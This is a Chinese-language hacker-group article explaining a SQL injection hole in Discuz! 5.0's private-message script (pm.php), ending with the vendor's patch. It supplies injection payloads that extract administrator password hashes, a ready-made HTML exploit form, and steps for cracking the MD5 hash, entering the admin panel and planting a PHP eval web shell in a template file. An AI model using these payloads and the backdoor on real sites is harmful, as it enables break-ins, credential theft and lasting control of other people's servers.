discuz!5.0 0Day IN My Eye
By %
我不知道关于这个0day的分析有没有人写过,姑且作为华夏黑客联盟的原创吧。
一.关于0Day
0Day的概念最早用于软件和游戏破解,属于非盈利性和非商业化的组织行为,其基本内涵是“即时性”(Warez)。被许多人误认为是一个最大的软件破解组织,而实际上,Warez如黑客一样,只是一种行为。0Day也是。当时的0Day是指在正版软件或游戏发布的当天甚至之前,发布附带着序列号或者解密器的破解版,让使用者可以不用付费就能长期使用。因此,虽然Warez和0Dday都是反盗版的重要打击对象,却同时受到免费使用者和业内同行的推崇。尽管 Warez和0Day的拥护者对以此而谋利的盗版商不齿,但商业利益的驱动还是将破解行为的商业化推到了高峰。而眼下的0Day,正在对信息安全产生越来 越严重的威胁。
信息安全意义上的0Day是指在安全补丁发布前而被了解和掌握的漏洞信息。正所谓看不见的才是最可怕的,这就是0Day的真正威胁。
二.Hello,World
Dz5.0漏洞是谁研究的,我不知道,但是我肯定这个家伙很细心。漏洞出在pm.php中。看如下几处重要地方:
if(empty($msgto) && is_array($msgtobuddys)) {
$msgto = $msgtobuddys;
} else {
$msgtoid = 0;
$query = $db->query("SELECT m.uid, m.username FROM {$tablepre}members m WHERE username='$msgto'");
while($member = $db->fetch_array($query)) {
if(!strcasecmp(addslashes($member['username']), $msgto)) {
$msgtoid = $member['uid'];
break;
}
}
/*如果$msgto为空,$msgto = $msgtobuddys。
如果$msgto为非空,产生$msgtoid
……………..*/
if(!$msgtoid) {
showmessage('pm_send_nonexistence');
}
/*若没有产生$msgtoid,则显示错误*/
if(is_array($msgtobuddys)) {
$msgto = array_merge($msgtobuddys, array($msgtoid));
} else {
$msgto = array($msgtoid);
}
/*判断$msgtoduddys是否为数组,确定$msgto*/
……………(以下略)
$uids = $comma = '';
foreach($msgto as $uid) {
$uids .= $comma."'$uid'";
$comma = ',';}
/*将$uids数组以逗号割开*/
…………(以下略)
$ignorenum = 0;
$query = $db->query("SELECT m.username, mf.ignorepm, u.maxpmnum FROM {$tablepre}usergroups u, {$tablepre}members m
LEFT JOIN {$tablepre}memberfields mf USING(uid)
WHERE m.uid IN ($uids) AND m.groupid=u.groupid");
/*SQL执行处,IN为范围操作*/
如果仅仅看到这里,也基本就清楚了,$uids来自于$msgto,$msgto来自于$msgtobuddys。SQL中真正执行的是$uids,但是我们用户能提交的只有$msgtobuddys。$msgtobuddys这个变量是从这个可以从抓包中看出的,另外也可以在pm.php的源代码中可以找到他msgtobuddys[],value=”xxxxx”的东西。至于网上有人说具体是哪个文件没过滤?并不准确,其实这一系列下来都没经过过滤。正好IN ($uids)又给我们提供了一个好的注入平台。
那么我们可以利用了,利用NC提交一些类似如下的东西:
&msgtobuddys%5B%5D=1%29%20and%20left(m.password,1)%3D(0x32)/*(前面抓包部分略)
&msgtobuddys%5B%5D=1%29%20and%20mid(m.password,2,1)%3D(0x32)/*(前面抓包部分略)
…………来看看返回结果吧。当然你完全可以写个小的Perl程序来提交,不过这样很麻烦。
记得我刚才只是说仅仅看到这里吗?呵呵,其实并没有结束。这个细心的家伙继续看下去了。
$msgto_count = $db->num_rows($query);
While($member = $db->fetch_array($query)) {
if($member['maxpmnum'] < 1 || preg_match("/(^{ALL}$|(,|^)\s*".preg_quote($discuz_user, '/')."\s*(,|$))/i", $member['ignorepm'])) {
showmessage('pm_send_ignore');)
/*如果$nember[‘maxpmum’]<1或者$member[‘ignorepm’]包含一个正则表达式(如果正则表达式在“忽略列表”中得到匹配,则返回True)
Showmessage(‘pm_send_ignore’)返回一个错误。这是最精彩的内容*/
其实这里应该是试探性的测试,我们可以试着构造一个“忽略列表”,看看返回什么内容。Bingle,返回的内容前面的提示名字几乎和{$tablepre}members.username匹配。如果是这样的话,完全可以用union select联合查询来暴出密码。我们完全可以构造如下语句,并用NC提交:
msgtobuddys%5B%5D=1%29%20union%20select%20password%
即:msgtobuddy[]=1) union select password,0,0 from cdb_members where uid=4/*
抓包也一样可以完成这个任务,只是一些好心的朋友写了HTML的利用文件感觉挺好的。这里特地为华夏黑客同盟写一份专用的,由于时间比较仓促,随便写的,比较粗糙,不过新增加了个短信验证码功能。程序如下:
<html>2
<head>3
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">4
<title>DZ 0Day华夏黑客同盟专用版</title>5
</head>6

7
<FORM name=frm method=post target=_blank>Url: <INPUT 8
size=45 name=act>9
FormHash:<INPUT 10
size=8 name=formhash> <INPUT onclick="Javascipt:action=document.all.act.value+'/pm.php?action=send';frm.submit();" type=button value="提 交" name=Send><br><br>11
SQL:<INPUT 12
size=65 value='0) union select password,0,0 from cdb_members where uid=1/*'name=msgtobuddys[]>13
验证码:<input type="text" name="seccodeverify" size="5">(有验证码时填写,没有时保留空)14
<INPUT TYPE="hidden" NAME="pmsubmit" value="2">15
<input type="hidden" name="subject" value="test">16
<input type="hidden" name="message" value="test">17
<a href=http://www.cnblogs.com/allyesno/>by %5C</a>18
</FORM>19
</html>20

三.Fly,MY Little Bird
恩,该到他飞翔的时候了,一般我不太喜欢做这样的事。应用方面很简单,按照上面的HTML上需要的内容找就可以了,其实这些都是用WinSock Expert抓包的时候必须发送的内容。不过你首先要注册一个能有权限发短消息的用户。具体步骤是:
1.填写URL:这个是论坛的地址。
2.FormHash:鼠标放到“清除COOKIES”上,可以看到,如图一:
图一
3. 找一个管理员的uid:这个很简单吧,新用户一般没有权限查看管理团队,不过管理员非常喜欢发些置顶的帖子,呵呵,直接去找吧。
4. 好了,这些设置完后,就直接点“发送”吧。如果你运气够好的话,会出现该UID的MD5的32位加密密码哦,如图二:
图二
如果该网站打过最新的DZ5.0补丁,一般会显示如下错误,那么就放弃或另辟蹊径吧。如图三:
图三
5如何破解MD5密码:可以去下载一个MD5ToolBox软件,或者直接在网站上破解www.xmd5.org,他是以三台计算机建立数据库的形式,大部分常用密码都能破解,而且速度极快。
6.进入后台后该干什么?一般都是进入论坛管理--à模块编辑----à详情--à修改wap.php。然后插入插入一段Lanker的PHP后门:<?php eval($_POST[cmd]);?>。连接地址为:/templates/default/wap.lang.php。
四.Codz End
官方DZ5.0已经做过修改,补丁主要修改部分如下:
$uids = $comma = '';
foreach($msgto as $uid) {
if(!is_numeric($uid)) {
showmessage('pm_send_invalid');
} else {
$uids .= $comma."'$uid'";
$comma = ',';
}
浙公网安备 33010602011771号